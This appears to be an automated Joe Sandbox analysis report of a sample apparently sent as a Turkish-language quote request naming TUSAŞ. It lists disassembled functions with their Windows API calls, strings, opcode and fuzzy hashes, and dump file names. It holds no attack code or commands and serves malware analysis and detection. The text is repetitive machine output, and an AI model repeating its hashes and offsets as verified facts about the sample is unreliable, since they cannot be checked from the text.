Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 75e08b4b808ac35a330d9fa97b07dea1653111842b83113f365cafb9bfc7bfc2
Instruction ID: 297a5f32984bc6aa0e8531726822f32ea4a9e7487e665194bb13057491410009
Opcode Fuzzy Hash: 75e08b4b808ac35a330d9fa97b07dea1653111842b83113f365cafb9bfc7bfc2
Instruction Fuzzy Hash: D211C8B1A5421D79E760B667DC49DFF7BBCFB9AB40F40445ABC41960D1DAA04904C9B0

Function 010046B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 010046D2
gethostname.WSOCK32(?,00000100), ref: 010046EC
gethostbyname.WSOCK32(?), ref: 010046F9
_wcscpy.LIBCMT ref: 01004721
_memmove.LIBCMT ref: 01004734
inet_ntoa.WSOCK32(?), ref: 0100473F
_strcat.LIBCMT ref: 0100474D
_wcscpy.LIBCMT ref: 01004764
WSACleanup.WSOCK32 ref: 01004772
_wcscpy.LIBCMT ref: 01004780

Strings

0.0.0.0, xrefs: 0100471B

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: d1ca51933ad5df5fe2241a2a4118c4930b596b342d66ce8e06382eb498063ce3
Instruction ID: 7cd07a5b093b13b1346aa7a435a8a5001799e1b441933ea9d44677a9af90b112
Opcode Fuzzy Hash: d1ca51933ad5df5fe2241a2a4118c4930b596b342d66ce8e06382eb498063ce3
Instruction Fuzzy Hash: CF113531500116ABEB61AA34AC4AEDF77BCEB01311F0001AAF689D6091EF7989818B50

Function 01004F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 01004F7A

Part of subcall function 00FC049F: timeGetTime.WINMM(?,76C1B400,00FB0E7B), ref: 00FC04A3

Sleep.KERNEL32(0000000A), ref: 01004FA6
EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 01004FCA
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 01004FEC
SetActiveWindow.USER32 ref: 0100500B
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 01005019
SendMessageW.USER32(00000010,00000000,00000000), ref: 01005038
Sleep.KERNEL32(000000FA), ref: 01005043
IsWindow.USER32 ref: 0100504F
EndDialog.USER32(00000000), ref: 01005060

Strings

BUTTON, xrefs: 01004FDE

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: b4cb377b898f18b35ccfc9c8aa4c38bd04717003a2869c55a1af83b99519f855
Instruction ID: e556d12b6f0ce6fa00e4299a1ea6ae0fd6024d4a8bfcba92b3e385493840b23c
Opcode Fuzzy Hash: b4cb377b898f18b35ccfc9c8aa4c38bd04717003a2869c55a1af83b99519f855
Instruction Fuzzy Hash: D7216270204206AFF7329F34ED89F2A7BA9EB4A789F141018F6C5811E9CB6B4D508B61

Function 0100D58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA9837: __itow.LIBCMT ref: 00FA9862
Part of subcall function 00FA9837: __swprintf.LIBCMT ref: 00FA98AC

CoInitialize.OLE32(00000000), ref: 0100D5EA
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0100D67D
SHGetDesktopFolder.SHELL32(?), ref: 0100D691
CoCreateInstance.OLE32(01032D7C,00000000,00000001,01058C1C,?), ref: 0100D6DD
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0100D74C
CoTaskMemFree.OLE32(?,?), ref: 0100D7A4
_memset.LIBCMT ref: 0100D7E1
SHBrowseForFolderW.SHELL32(?), ref: 0100D81D
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0100D840
CoTaskMemFree.OLE32(00000000), ref: 0100D847
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 0100D87E
CoUninitialize.OLE32(00000001,00000000), ref: 0100D880

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 2374997776e46c8fba1face7c801e187108c2c81544bfcc83e4063142eca7505
Instruction ID: 9ba34da364805203c632b2937b7978b16b6acb29e35df0a6292eb3acdae3ea17
Opcode Fuzzy Hash: 2374997776e46c8fba1face7c801e187108c2c81544bfcc83e4063142eca7505
Instruction Fuzzy Hash: A0B11A75A00109AFDB14DFA4CC84DAEBBB9FF49314F1480A9E949EB251DB74EE41CB60

Function 00FFC267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00FFC283
GetWindowRect.USER32(00000000,?), ref: 00FFC295
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00FFC2F3
GetDlgItem.USER32(?,00000002), ref: 00FFC2FE
GetWindowRect.USER32(00000000,?), ref: 00FFC310
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00FFC364
GetDlgItem.USER32(?,000003E9), ref: 00FFC372
GetWindowRect.USER32(00000000,?), ref: 00FFC383
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00FFC3C6
GetDlgItem.USER32(?,000003EA), ref: 00FFC3D4
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00FFC3F1
InvalidateRect.USER32(?,00000000,00000001), ref: 00FFC3FE

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: abe5dec65f2f9b2ae08b0daf141aa54be96f6efda2ca970c901b93221ebecb0d
Instruction ID: b9b96edc6179990c54d591a34d094dd853c0baaddbec63c1f7aa103c286ded65
Opcode Fuzzy Hash: abe5dec65f2f9b2ae08b0daf141aa54be96f6efda2ca970c901b93221ebecb0d
Instruction Fuzzy Hash: 16513F71B00209ABDB28CFB9DD89AAEBBB6FF88750F14812DF615D7294D7719D008B50

Function 00FA201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00FA2036,?,00000000,?,?,?,?,00FA16CB,00000000,?), ref: 00FA1B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00FA20D3
KillTimer.USER32(-00000001,?,?,?,?,00FA16CB,00000000,?,?,00FA1AE2,?,?), ref: 00FA216E
DestroyAcceleratorTable.USER32(00000000), ref: 00FDBCA6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00FA16CB,00000000,?,?,00FA1AE2,?,?), ref: 00FDBCD7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00FA16CB,00000000,?,?,00FA1AE2,?,?), ref: 00FDBCEE
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00FA16CB,00000000,?,?,00FA1AE2,?,?), ref: 00FDBD0A
DeleteObject.GDI32(00000000), ref: 00FDBD1C

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 9fdb8bec29506812e8c02634006e9a7e96a8848935009c559c1541bf37527300
Instruction ID: fc49ccbcbd08a5ee7134db09cf954bb13c01b46d9494f2e628d8057863ad3e49
Opcode Fuzzy Hash: 9fdb8bec29506812e8c02634006e9a7e96a8848935009c559c1541bf37527300
Instruction Fuzzy Hash: E161B171A10601DFCB359F18D948B29B7F2FF41362F248519E4829BA64C77AA891EF90

Function 00FA21A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00FA25DB: GetWindowLongW.USER32(?,000000EB), ref: 00FA25EC

GetSysColor.USER32(0000000F), ref: 00FA21D3

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 5afc8e83529b33064d43497682a61c5b032ffa2d86dcb2f3df1a70686d747f0e
Instruction ID: 16d667939f0c9c6b8db40b5e6ab860ce7f1073901231d50467a765d4c086a349
Opcode Fuzzy Hash: 5afc8e83529b33064d43497682a61c5b032ffa2d86dcb2f3df1a70686d747f0e
Instruction Fuzzy Hash: AD41A371600140DFEB715F2CD888BB93BA6EB07371F284255FEA58A1E5C7368C42EB21

Function 0100A8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,0102F910), ref: 0100A90B
GetDriveTypeW.KERNEL32(00000061,010589A0,00000061), ref: 0100A9D5
_wcscpy.LIBCMT ref: 0100A9FF

Strings

all, xrefs: 0100A911
cdrom, xrefs: 0100A927
removable, xrefs: 0100A93D
fixed, xrefs: 0100A953
network, xrefs: 0100A969
unknown, xrefs: 0100A996
ramdisk, xrefs: 0100A97F

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 453bb1ccf36bef424c12aa6e24da55263924676266cc21a88b76c2bcc2fbf508
Instruction ID: d3bd3960dac38eff9a7973133ceefd3b3288cb7aef860f41b2060735376026f9
Opcode Fuzzy Hash: 453bb1ccf36bef424c12aa6e24da55263924676266cc21a88b76c2bcc2fbf508
Instruction Fuzzy Hash: DA51BC71218301EBD301EF18CD92AAFB7E5EF86340F04482DF9D65B2E2DB759909CA52

Function 00FA9837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00FA9862
__swprintf.LIBCMT ref: 00FA98AC
__i64tow.LIBCMT ref: 00FDF5E6

Strings

True, xrefs: 00FDF5A7
False, xrefs: 00FDF5AE
0x%p, xrefs: 00FDF5C8
%.15g, xrefs: 00FA98A6

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: aef59b864af2be1df1e5d0b5eb2698a6d6b90ec6e4d2cf60ce327233b0febb7f
Instruction ID: 1e4b7c554c1f4a9cb0b7b077cbd87225f7af7c60b4ad9d130356e7dff1eb3657
Opcode Fuzzy Hash: aef59b864af2be1df1e5d0b5eb2698a6d6b90ec6e4d2cf60ce327233b0febb7f
Instruction Fuzzy Hash: 8B41E6729042069FDB24DF34ED42F7A73E9EF46310F28447EE54ADB241EA759906BB10

Function 01027152 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0102716A
CreateMenu.USER32 ref: 01027185
SetMenu.USER32(?,00000000), ref: 01027194
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 01027221
IsMenu.USER32(?), ref: 01027237
CreatePopupMenu.USER32 ref: 01027241
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0102726E
DrawMenuBar.USER32 ref: 01027276

Strings

F, xrefs: 01027262
0, xrefs: 01027160

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: b0caeb7f7dbda9b35382afc8f864f8326dd5990b6cd473a1ebd9d40fa33a624e
Instruction ID: a513c2f9c7270810678c9d3371271d821b276185a999d22c2c6534a47593c08b
Opcode Fuzzy Hash: b0caeb7f7dbda9b35382afc8f864f8326dd5990b6cd473a1ebd9d40fa33a624e
Instruction Fuzzy Hash: 20418974A01215EFEB20DF68D984E9ABBF5FF59340F140068FA85A7351D736A914CFA0

Function 010274BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0102755E
CreateCompatibleDC.GDI32(00000000), ref: 01027565
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 01027578
SelectObject.GDI32(00000000,00000000), ref: 01027580
GetPixel.GDI32(00000000,00000000,00000000), ref: 0102758B
DeleteDC.GDI32(00000000), ref: 01027594
GetWindowLongW.USER32(?,000000EC), ref: 0102759E
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 010275B2
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 010275BE

Strings

static, xrefs: 010274F6

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: b4939d886d49ceb6db7ac058b96c545252ce8e30576c4b775223a0cdb860e679
Instruction ID: 6fd77606cb6ed328d2450e37bad15d2da4f27a3a1bd807d3003c4507db854c0d
Opcode Fuzzy Hash: b4939d886d49ceb6db7ac058b96c545252ce8e30576c4b775223a0cdb860e679
Instruction Fuzzy Hash: F4318E31100226ABDF229F64DC08FDA7BB9FF097A0F210219FA9596090C77AD811DBA4

Function 00FC6E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FC6E3E

Part of subcall function 00FC8B28: __getptd_noexit.LIBCMT ref: 00FC8B28

__gmtime64_s.LIBCMT ref: 00FC6ED7
__gmtime64_s.LIBCMT ref: 00FC6F0D
__gmtime64_s.LIBCMT ref: 00FC6F2A
__allrem.LIBCMT ref: 00FC6F80
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00FC6F9C
__allrem.LIBCMT ref: 00FC6FB3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00FC6FD1
__allrem.LIBCMT ref: 00FC6FE8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00FC7006
__invoke_watson.LIBCMT ref: 00FC7077

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction ID: cac94c8c6d97800e2e071aff3711e220e0ac3d9cd1bea5adca15cea0b4c8af87
Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction Fuzzy Hash: F6712576E44717ABD714EE28DD43F5AB7A9AF04324F14822EF514D7281E774ED00AB90

Function 01002527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 01002542
GetMenuItemInfoW.USER32(01065890,000000FF,00000000,00000030), ref: 010025A3
SetMenuItemInfoW.USER32(01065890,00000004,00000000,00000030), ref: 010025D9
Sleep.KERNEL32(000001F4), ref: 010025EB
GetMenuItemCount.USER32(?), ref: 0100262F
GetMenuItemID.USER32(?,00000000), ref: 0100264B
GetMenuItemID.USER32(?,-00000001), ref: 01002675
GetMenuItemID.USER32(?,?), ref: 010026BA
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 01002700
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 01002714
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 01002735

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 5150206706a51ccf7fec251efa57efd131ba14df1189b7810549bb6e1d9490e1
Instruction ID: 581622b4c28afc3b932aeed21c887cd761b34a360bbdea9bca351099c247b597
Opcode Fuzzy Hash: 5150206706a51ccf7fec251efa57efd131ba14df1189b7810549bb6e1d9490e1
Instruction Fuzzy Hash: 0861947050024AAFFB22DF68DC8CDBE7BB8FB45344F140099E982A3291D736A905DB21

Function 01026F23 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 01026FA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 01026FA8
GetWindowLongW.USER32(?,000000F0), ref: 01026FCC
_memset.LIBCMT ref: 01026FDD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 01026FEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 01027067

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: a74dd94033a115203115e3a9f987ce17b3961bec496d66cd2a9210978a636f0d
Instruction ID: c6c8c0bc6a91702a2abda6419026c5ae09e80259ad435aba3408df78e9c5c42e
Opcode Fuzzy Hash: a74dd94033a115203115e3a9f987ce17b3961bec496d66cd2a9210978a636f0d
Instruction Fuzzy Hash: 82619F75900218EFDB21DFA8CC80EEE77F9EF09700F100199FA94AB2A1C775A945CB90

Function 00FF6B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00FF6BBF
SafeArrayAllocData.OLEAUT32(?), ref: 00FF6C18
VariantInit.OLEAUT32(?), ref: 00FF6C2A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00FF6C4A
VariantCopy.OLEAUT32(?,?), ref: 00FF6C9D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00FF6CB1
VariantClear.OLEAUT32(?), ref: 00FF6CC6
SafeArrayDestroyData.OLEAUT32(?), ref: 00FF6CD3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00FF6CDC
VariantClear.OLEAUT32(?), ref: 00FF6CEE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00FF6CF9

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
